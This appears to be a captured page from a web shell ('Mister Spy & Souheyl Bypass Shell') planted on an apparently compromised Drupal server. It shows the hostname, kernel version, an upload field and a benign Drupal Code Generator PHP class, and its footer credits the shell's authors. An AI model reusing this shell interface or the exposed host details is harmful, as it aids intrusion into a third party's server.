Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/vendor/chi-teck/drupal-code-generator/src/Command/Service/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/vendor/chi-teck/drupal-code-generator/src/Command/Service/AccessChecker.php

<?php declare(strict_types=1);

namespace DrupalCodeGenerator\Command\Service;

use DrupalCodeGenerator\Application;
use DrupalCodeGenerator\Command\ModuleGenerator;

/**
 * Implements service:access-checker command.
 */
final class AccessChecker extends ModuleGenerator {

  protected string $name = 'service:access-checker';
  protected string $description = 'Generates an access checker service';
  protected string $alias = 'access-checker';
  protected string $templatePath = Application::TEMPLATE_PATH . '/service/access-checker';

  /**
   * {@inheritdoc}
   */
  protected function generate(array &$vars): void {
    $this->collectDefault($vars);

    $validator = static function ($value) {
      if (!\preg_match('/^_[a-z0-9_]*[a-z0-9]$/', $value)) {
        throw new \UnexpectedValueException('The value is not correct name for "applies_to" property.');
      }
      return $value;
    };

    $vars['applies_to'] = $this->ask('Applies to', '_foo', $validator);
    $vars['class'] = $this->ask('Class', '{applies_to|camelize}AccessChecker');

    $this->addFile('src/Access/{class}.php', 'access-checker');
    $this->addServicesFile()->template('services');
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net